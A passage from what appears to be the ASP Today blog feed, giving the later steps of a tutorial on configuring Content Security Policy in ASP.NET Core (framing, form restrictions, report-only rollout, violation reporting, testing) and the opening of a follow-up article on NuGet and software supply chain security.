);</code></code></pre><p>CSP can allow the connection, but it does not replace Cross-Origin Resource Sharing (CORS).</p><p>CORS determines whether cross-origin JavaScript can access responses under the browser&#8217;s cross-origin rules.</p><p>CSP restricts which connection destinations the protected document may use.</p><p>They are separate controls.</p><p>A request may satisfy CSP and still fail CORS.</p><h2>Step 17: Prevent Clickjacking With <code>frame-ancestors</code></h2><p>Clickjacking occurs when an attacker embeds a legitimate application inside another page and attempts to trick users into interacting with it.</p><p>For example, a malicious website might display a nearly invisible frame containing a sensitive account action.</p><p>The user believes they are clicking one interface but is actually interacting with another.</p><p>CSP provides the <code>frame-ancestors</code> directive.</p><pre><code><code>Content-Security-Policy:
    frame-ancestors 'none'</code></code></pre><p>This prevents the protected page from being embedded in frames by other pages.</p><p>If an application must be embedded by a trusted parent site, the policy can allow that origin explicitly.</p><p>For example:</p><pre><code><code>frame-ancestors https://portal.example.com</code></code></pre><p>The directive is not inherited from <code>default-src</code>.</p><p>It must be configured explicitly.</p><p>It also needs to be delivered through an HTTP response header.</p><p>A CSP meta element cannot enforce <code>frame-ancestors</code>.</p><h2>Step 18: Restrict Form Submissions</h2><p>Forms can send information to external destinations.</p><p>An attacker who injects or modifies a form may attempt to redirect sensitive data to an unauthorized server.</p><p>The <code>form-action</code> directive restricts where forms may submit.</p><p>For example:</p><pre><code><code>form-action 'self'</code></code></pre><p>This allows form submissions to the application&#8217;s own origin.</p><p>If the application uses an external payment provider, the policy may need to permit a specific external destination.</p><pre><code><code>form-action 'self' https://payments.example.com</code></code></pre><p>Only allow the destinations the application actually requires.</p><p>Remember that CSP form restrictions do not replace CSRF protection.</p><p>ASP.NET Core applications should continue using appropriate antiforgery protections for state-changing operations.</p><h2>Step 19: Introduce CSP With Report-Only Mode</h2><p>A strict CSP can break an existing application if introduced without testing.</p><p>For example, it may block analytics scripts, inline initialization code, external fonts, or API connections.</p><p>A safer migration strategy begins with report-only mode.</p><p>Instead of enforcing:</p><pre><code><code>Content-Security-Policy: ...</code></code></pre><p>send:</p><pre><code><code>Content-Security-Policy-Report-Only: ...</code></code></pre><p>The browser evaluates the policy and reports violations, but it does not enforce the report-only restrictions.</p><p>This allows developers to discover which resources would be blocked.</p><p>However, report-only mode is not a security control that prevents the reported violations.</p><p>It is a testing and migration mechanism.</p><p>Also, some directives, including <code>frame-ancestors</code>, are not meaningfully tested through report-only enforcement in the same way as ordinary resource-loading directives.</p><p>Applications should validate framing behavior separately.</p><h2>Step 20: Implement Report-Only Mode in ASP.NET Core</h2><p>We can modify our middleware to support a configuration flag.</p><p>For example:</p><pre><code><code>public sealed class CspOptions
{
    public bool ReportOnly { get; set; } = true;
}</code></code></pre><p>Register the configuration:</p><pre><code><code>builder.Services.Configure&lt;CspOptions&gt;(
    builder.Configuration.GetSection("Csp"));</code></code></pre><p>In <code>appsettings.json</code>:</p><pre><code><code>{
  "Csp": {
    "ReportOnly": true
  }
}</code></code></pre><p>Then choose the response header based on the configuration.</p><pre><code><code>using Microsoft.Extensions.Options;

public sealed class CspHeaderMiddleware
{
    private readonly RequestDelegate _next;
    private readonly CspOptions _options;

    public CspHeaderMiddleware(
        RequestDelegate next,
        IOptions&lt;CspOptions&gt; options)
    {
        _next = next;
        _options = options.Value;
    }

    public async Task InvokeAsync(HttpContext context)
    {
        const string policy =
            "default-src 'self'; " +
            "script-src 'self'; " +
            "style-src 'self'; " +
            "object-src 'none'; " +
            "base-uri 'self'";

        string headerName = _options.ReportOnly
            ? "Content-Security-Policy-Report-Only"
            : "Content-Security-Policy";

        context.Response.Headers[headerName] = policy;

        await _next(context);
    }
}</code></code></pre><p>This is a simplified example.</p><p>In production, the report-only and enforced policies may differ, and nonce generation may need to be integrated into the same middleware.</p><p>The important concept is that enforcement should be controlled through deployment configuration rather than requiring emergency code changes.</p><h2>Step 21: Collect CSP Violation Reports</h2><p>Browser console warnings are useful during development.</p><p>But production applications need centralized visibility.</p><p>CSP supports reporting mechanisms that allow browsers to send violation information to configured endpoints.</p><p>One mechanism uses the <code>Reporting-Endpoints</code> response header together with the CSP <code>report-to</code> directive.</p><p>For example:</p><pre><code><code>Reporting-Endpoints: csp-endpoint="https://reports.example.com/csp"</code></code></pre><p>And:</p><pre><code><code>Content-Security-Policy-Report-Only:
    default-src 'self';
    script-src 'self';
    report-to csp-endpoint</code></code></pre><p>Browser support and reporting behavior vary.</p><p>For compatibility, some deployments also use the older <code>report-uri</code> directive.</p><p>CSP reports should be treated as untrusted input.</p><p>Attackers can generate requests to reporting endpoints, and reports may contain URLs or other information that should not be logged indiscriminately.</p><p>Reporting infrastructure should apply request-size limits, rate limiting, validation, and appropriate data retention policies.</p><h2>Step 22: Build a CSP Reporting Endpoint</h2><p>Let&#8217;s create a simplified ASP.NET Core endpoint for receiving CSP reports.</p><p>In <code>Program.cs</code>:</p><pre><code><code>app.MapPost("/csp-report", async (
    HttpContext context,
    ILogger&lt;Program&gt; logger) =&gt;
{
    if (context.Request.ContentLength is &gt; 16_384)
    {
        return Results.StatusCode(
            StatusCodes.Status413PayloadTooLarge);
    }

    using var reader = new StreamReader(
        context.Request.Body);

    string report = await reader.ReadToEndAsync();

    if (report.Length &gt; 16_384)
    {
        return Results.StatusCode(
            StatusCodes.Status413PayloadTooLarge);
    }

    logger.LogInformation(
        "CSP report received. Length: {Length}",
        report.Length);

    return Results.NoContent();
});</code></code></pre><p>This example deliberately avoids logging the raw report body.</p><p>It demonstrates basic size checks, but it is not a complete production reporting service.</p><p>A production implementation should enforce request-body limits at the server level, parse only supported report formats, apply rate limiting, and store a carefully selected set of fields.</p><p>It should also avoid trusting the report&#8217;s claimed source or interpreting every violation as a confirmed attack.</p><p>Some violations result from browser extensions, development tools, or legitimate application changes.</p><h2>Step 23: Monitor CSP Without Drowning in Noise</h2><p>CSP reporting can generate substantial data.</p><p>For example, a single frontend deployment may introduce a new stylesheet or external connection that violates the policy for thousands of users.</p><p>Without aggregation, the reporting system may receive thousands of nearly identical events.</p><p>A useful monitoring strategy groups reports by policy directive, blocked resource, application version, and affected route.</p><p>The system can then distinguish recurring configuration problems from unusual activity.</p><p>For example:</p><pre><code><code>Violation:
script-src

Blocked source:
https://unknown.example/script.js

Affected route:
/appointments

Application version:
4.2.0

Occurrences:
327</code></code></pre><p>This information helps developers investigate unexpected resource loads.</p><p>But a blocked script is not automatically proof of a successful attack.</p><p>CSP reporting provides evidence for investigation.</p><p>It does not independently establish attacker intent.</p><h2>Step 24: Handle CSP in Multi-Page ASP.NET Core Applications</h2><p>Not every page requires the same policy.</p><p>An administrative dashboard may load charting libraries.</p><p>A public landing page may load analytics.</p><p>A payment page may integrate an external payment provider.</p><p>A healthcare records page may require a particularly restrictive policy.</p><p>Applying a single broad policy across every page can lead to unnecessary exceptions.</p><p>For example:</p><pre><code><code>Public pages
    |
    +-- Analytics resources

Appointment pages
    |
    +-- Application scripts
    +-- API connections

Payment pages
    |
    +-- Approved payment provider

Administrative pages
    |
    +-- Internal dashboards</code></code></pre><p>ASP.NET Core applications can implement route-specific policies through endpoint metadata, middleware, or response configuration.</p><p>The objective is to keep each policy as restrictive as practical.</p><p>A sensitive page should not inherit broad permissions merely because another page requires them.</p><h2>Step 25: CSP and Blazor Applications</h2><p>Blazor applications require additional consideration.</p><p>Blazor Server and Blazor WebAssembly use different execution models, and their CSP requirements can vary.</p><p>Blazor applications may depend on framework scripts, dynamically loaded resources, WebAssembly, and other browser capabilities.</p><p>For example, WebAssembly compilation or execution may require the <code>wasm-unsafe-eval</code> source expression in relevant browser configurations.</p><p>Some development features may require more permissive policies than production.</p><p>Do not assume that a policy designed for a traditional MVC application will work unchanged for Blazor.</p><p>Test the policy against the exact Blazor hosting model, .NET version, rendering mode, and deployment environment.</p><p>Where possible, use the framework&#8217;s documented CSP guidance and avoid broad exceptions that are not required by the deployed application.</p><h2>Step 26: CSP and Single-Page Applications</h2><p>Single-page applications built with React, Angular, or Vue may also require special handling.</p><p>The ASP.NET Core backend may serve the frontend application, while JavaScript communicates with APIs.</p><p>The policy must account for JavaScript bundles, stylesheets, fonts, API origins, and any approved third-party services.</p><p>In our guide on <em><a href="https://www.asptoday.com/p/aspnet-core-and-react-building-dynamic">ASP.NET Core and React: Building Dynamic and Interactive Frontends</a>,</em> we explored how modern frontend frameworks communicate with ASP.NET Core backends. When introducing CSP into these architectures, developers must account for frontend bundles, dynamically loaded scripts, API connections, and external resources without unnecessarily weakening browser security.</p><p>A production build often differs substantially from the development environment.</p><p>Development servers may use WebSockets, hot reload, inline scripts, or dynamically generated styles.</p><p>A policy that works during development may not be appropriate for production.</p><p>Likewise, a strict production policy may break development tooling.</p><p>Use environment-specific configurations where necessary, but keep production security requirements explicit.</p><h2>Step 27: Avoid Common CSP Mistakes</h2><p>Several mistakes appear repeatedly when teams introduce CSP.</p><p><strong>Mistake 1: Adding </strong><code>'unsafe-inline'</code><strong> to fix every script error.</strong></p><p>This can undermine protection against inline script injection.</p><p><strong>Mistake 2: Allowing every HTTPS origin.</strong></p><p>A policy such as <code>script-src https:</code> permits scripts from a very broad set of locations and provides limited protection against malicious external scripts.</p><p><strong>Mistake 3: Reusing CSP nonces.</strong></p><p>Nonces should be unpredictable and generated per response.</p><p><strong>Mistake 4: Forgetting </strong><code>frame-ancestors</code><strong>.</strong></p><p>A restrictive <code>default-src</code> policy does not automatically prevent clickjacking.</p><p><strong>Mistake 5: Treating CSP as a replacement for output encoding.</strong></p><p>CSP does not eliminate the need to prevent XSS vulnerabilities.</p><p><strong>Mistake 6: Ignoring third-party scripts.</strong></p><p>Every trusted script introduces potential risk.</p><p><strong>Mistake 7: Deploying enforcement without testing.</strong></p><p>A restrictive policy can break legitimate functionality.</p><p><strong>Mistake 8: Assuming every CSP report represents an attack.</strong></p><p>Reports require context and investigation.</p><p><strong>Mistake 9: Configuring multiple conflicting policies accidentally.</strong></p><p>When multiple enforced CSP policies are present, the browser enforces all of them. Adding another policy does not loosen an existing one.</p><p><strong>Mistake 10: Using a static nonce in cached HTML.</strong></p><p>A predictable or reused nonce weakens the intended authorization model.</p><h2>Step 28: Test CSP in a Real Browser</h2><p>CSP behavior should be tested in browsers, not only through unit tests.</p><p>A practical test plan should include:</p><ul><li><p>Confirming that authorized scripts execute.</p></li><li><p>Confirming that unauthorized inline scripts are blocked.</p></li><li><p>Confirming that unexpected external scripts are blocked.</p></li><li><p>Testing API calls and WebSocket connections.</p></li><li><p>Testing stylesheets, fonts, and images.</p></li><li><p>Verifying that protected pages cannot be framed by unauthorized origins.</p></li><li><p>Testing form submissions.</p></li><li><p>Checking browser console violations.</p></li><li><p>Testing third-party integrations.</p></li><li><p>Verifying behavior across supported browsers.</p></li></ul><p>Automated browser tests can use tools such as Playwright.</p><p>For example, a test can load the application and verify that its expected functionality still works under the enforced policy.</p><p>However, functional tests alone are insufficient.</p><p>A page can work correctly even if the policy is too permissive.</p><p>Security tests should also inspect response headers and attempt representative blocked behaviors.</p><h2>Step 29: Validate the CSP Header With Automated Tests</h2><p>ASP.NET Core integration tests can verify that expected headers are present.</p><p>For example, using <code>WebApplicationFactory</code>:</p><pre><code><code>using Microsoft.AspNetCore.Mvc.Testing;
using Xunit;

public class CspHeaderTests
    : IClassFixture&lt;WebApplicationFactory&lt;Program&gt;&gt;
{
    private readonly HttpClient _client;

    public CspHeaderTests(
        WebApplicationFactory&lt;Program&gt; factory)
    {
        _client = factory.CreateClient();
    }

    [Fact]
    public async Task HomePage_HasCspHeader()
    {
        var response = await _client.GetAsync("/");

        Assert.True(
            response.Headers.Contains(
                "Content-Security-Policy"));
    }
}</code></code></pre><p>For a minimal-hosting ASP.NET Core application, the entry-point <code>Program</code> type may need to be made accessible to the test project.</p><p>One common approach is to add this declaration in the application:</p><pre><code><code>public partial class Program { }</code></code></pre><p>The test verifies header presence.</p><p>Additional tests should inspect specific directives, ensure nonce consistency, and verify that different endpoints receive the intended policies.</p><h2>Step 30: Deploy CSP Gradually</h2><p>A production CSP rollout should be deliberate.</p><p>Start by inventorying the resources the application actually loads.</p><p>Identify inline scripts, external stylesheets, API connections, third-party widgets, and embedded content.</p><p>Then create a restrictive candidate policy.</p><p>Deploy it in report-only mode.</p><p>Collect and analyze violations.</p><p>Update application code to remove unnecessary inline scripts and overly broad resource dependencies.</p><p>Introduce nonces or hashes where appropriate.</p><p>Test the policy in staging.</p><p>Enable enforcement for a limited deployment group if the architecture supports it.</p><p>Monitor errors and user-facing functionality.</p><p>Finally, expand enforcement across the application.</p><p>This approach is safer than immediately deploying a strict policy across a large existing application.</p><h2>A Production-Ready CSP Architecture</h2><p>Let&#8217;s bring the pieces together.</p><p>Our healthcare appointment platform uses ASP.NET Core MVC for server-rendered pages.</p><p>It communicates with a separate API.</p><p>It loads application JavaScript from its own origin.</p><p>Some pages contain nonce-authorized initialization scripts.</p><p>The application does not require third-party scripts on sensitive patient-record pages.</p><p>A production policy might conceptually include:</p><pre><code><code>Content-Security-Policy:
    default-src 'self';
    script-src 'nonce-PER_RESPONSE_NONCE' 'strict-dynamic';
    style-src 'self';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self' https://api.example.com;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests</code></code></pre><p>This is a template, not a copy-ready static header.</p><p>The nonce must be generated independently for each response and inserted into authorized script elements.</p><p>The API origin must match the actual deployment.</p><p>Any permitted image schemes, third-party resources, and other directives must reflect real application requirements.</p><p>The <code>upgrade-insecure-requests</code> directive instructs supporting browsers to upgrade eligible insecure resource requests to HTTPS. It does not replace serving the application over HTTPS or configuring HSTS where appropriate.</p><p>For a mature deployment, the application should also maintain a report-only policy for evaluating future restrictions, collect security telemetry, and test CSP behavior during frontend releases.</p><p>The objective is to make browser security part of normal application delivery rather than an emergency response to an XSS incident.</p><h2>Coming Next</h2><p>In our next article, we&#8217;ll explore <strong>Privacy Engineering in ASP.NET Core: Data Minimization, Retention, Consent, and Deletion</strong>.</p><p>Securing an application against unauthorized access is only one part of protecting user information. Applications must also make responsible decisions about what personal data they collect, how long they retain it, and when it should be deleted.</p><p>We&#8217;ll build a practical privacy-aware ASP.NET Core application that implements data minimization, consent tracking, configurable retention policies, background deletion jobs, and user data export workflows.</p><p>We&#8217;ll also examine how privacy requirements affect logging, backups, database design, and distributed systems.</p><h2>Closing Thoughts </h2><p>Content Security Policy is one of the most valuable defense-in-depth controls available to modern web applications.</p><p>It gives ASP.NET Core developers a way to define which scripts, stylesheets, network connections, and other browser resources are permitted.</p><p>But its effectiveness depends on how carefully the policy is designed.</p><p>A broad policy that permits arbitrary inline scripts and external resources may provide little meaningful protection.</p><p>A restrictive policy built around nonces, hashes, and carefully controlled script execution can significantly reduce the impact of many script-injection attacks.</p><p>The most important lessons are straightforward.</p><p><strong>Prevent injection vulnerabilities first.</strong> Continue using Razor&#8217;s output encoding, safe DOM APIs, appropriate HTML sanitization, and secure application design.</p><p><strong>Use CSP to limit what the browser can execute.</strong> Prefer restrictive script policies and avoid unnecessary exceptions.</p><p><strong>Introduce strict policies gradually.</strong> Report-only mode, browser testing, and violation monitoring make adoption safer.</p><p><strong>Treat third-party JavaScript as a security dependency.</strong> Every external script trusted by the application deserves careful consideration.</p><p><strong>Keep CSP aligned with application changes.</strong> New frontend features, API integrations, and deployment configurations may require policy updates.</p><p>For production ASP.NET Core applications, CSP should become part of the security architecture alongside authentication, authorization, HTTPS, dependency management, and secure CI/CD practices.</p><p><strong>The goal is not simply to stop malicious scripts from loading. It is to ensure that the browser executes only the code your application has deliberately authorized.</strong></p><h2>Subscribe Now </h2><p>Building secure ASP.NET Core applications requires more than protecting APIs and databases. It also means understanding how browsers execute code, how third-party resources affect security, and how to enforce meaningful protections in production.</p><p>Subscribe to <em><a href="https://www.asptoday.com/">ASP Today</a></em> for practical .NET tutorials, real-world coding examples, and production-focused guidance on application security, performance, reliability, and architecture.</p><p>Join our Substack Chat to discuss CSP implementation, nonce-based security policies, browser vulnerabilities, and the challenges of securing modern ASP.NET Core applications.</p><p><strong>Subscribe now and follow the series as we continue building secure, reliable, and production-ready ASP.NET Core systems. </strong></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Software Supply Chain Security for ASP.NET Core: NuGet, SBOMs, Signing, and Dependency Risk]]></title><description><![CDATA[Secure NuGet dependencies, SBOMs, signing, and CI/CD pipelines in ASP.NET Core. #ASPToday #aspnetcore #dotnet #DevSecOps #NuGet]]></description><link>https://www.asptoday.com/p/software-supply-chain-security-for</link><guid isPermaLink="false">https://www.asptoday.com/p/software-supply-chain-security-for</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 17 Nov 2026 15:03:28 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!0qoH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Your ASP.NET Core application may have excellent authentication, carefully designed authorization policies, encrypted connections, and comprehensive input validation. But what happens if a NuGet package used by the application is compromised? </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0qoH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0qoH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!0qoH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!0qoH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!0qoH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0qoH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2150972,&quot;alt&quot;:&quot;Developer reviewing ASP.NET Core supply chain security with NuGet, SBOM, and container scanning. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/219076922?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Developer reviewing ASP.NET Core supply chain security with NuGet, SBOM, and container scanning. " title="Developer reviewing ASP.NET Core supply chain security with NuGet, SBOM, and container scanning. " srcset="https://substackcdn.com/image/fetch/$s_!0qoH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!0qoH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!0qoH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!0qoH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdac82eb-69b8-44f2-b93d-95ca8080c955_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>What if a dependency contains a known vulnerability, a build pipeline downloads an unexpected package version, or a container image includes outdated system libraries? Modern applications depend on much more than the code developers write themselves. Every external package, build tool, container image, and deployment artifact becomes part of the software supply chain. Securing that chain means understanding where dependencies originate, verifying what enters the build, detecting vulnerabilities, documenting software components, and protecting the integrity of releases. </p><p>In this guide, we&#8217;ll build a practical software supply chain security workflow for <em><a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a></em> using NuGet auditing, centralized package management, Software Bills of Materials (SBOMs), package signing, container scanning, and secure CI/CD practices. </p><h2>The Security Risk Hidden Behind a Successful Build</h2><p>Imagine a financial reporting platform built with ASP.NET Core.</p><p>The application processes transactions, generates monthly reports, communicates with external payment services, and provides dashboards for administrators.</p><p>Its developers follow established security practices.</p><p>Authentication is protected.</p><p>Database queries are parameterized.</p><p>Sensitive information is stored securely.</p><p>The team regularly reviews its own code.</p><p>As we explored in our earlier guide on <em><a href="https://www.asptoday.com/p/securing-your-aspnet-applications">Security Best Practices in ASP.NET Core</a></em>, protecting an application requires multiple layers of defense. Secure authentication, authorization, and input validation protect application behavior, while software supply chain security extends those protections to the external packages, build tools, and infrastructure the application depends on.</p><p>Everything appears secure.</p><p>Then a developer adds a new NuGet package to simplify document generation.</p><p>The package works.</p><p>The tests pass.</p><p>The application builds successfully.</p><p>But the package depends on another library containing a known vulnerability.</p><p>That library depends on several additional components.</p><p>Suddenly, the application includes software that the development team never directly selected or reviewed.</p><p>This is the challenge of software supply chain security.</p><p>A successful build tells us that the compiler and build tools completed their work.</p><p>It does not prove that every dependency is trustworthy, that every artifact came from an approved source, or that the resulting application is free from known vulnerabilities.</p><p>We need additional controls.</p><h2>What Is a Software Supply Chain?</h2><p>A software supply chain includes the components, systems, and processes involved in creating and delivering software.</p><p>For an ASP.NET Core application, that chain typically includes source code, NuGet packages, transitive dependencies, SDKs, build tools, CI/CD runners, container base images, artifact registries, and deployment infrastructure.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!g_fg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!g_fg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 424w, https://substackcdn.com/image/fetch/$s_!g_fg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 848w, https://substackcdn.com/image/fetch/$s_!g_fg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 1272w, https://substackcdn.com/image/fetch/$s_!g_fg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!g_fg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png" width="707" height="617" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/05618f72-e642-4833-9017-c4835b4f6a54_707x617.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:617,&quot;width&quot;:707,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:48003,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/219076922?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!g_fg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 424w, https://substackcdn.com/image/fetch/$s_!g_fg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 848w, https://substackcdn.com/image/fetch/$s_!g_fg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 1272w, https://substackcdn.com/image/fetch/$s_!g_fg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05618f72-e642-4833-9017-c4835b4f6a54_707x617.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 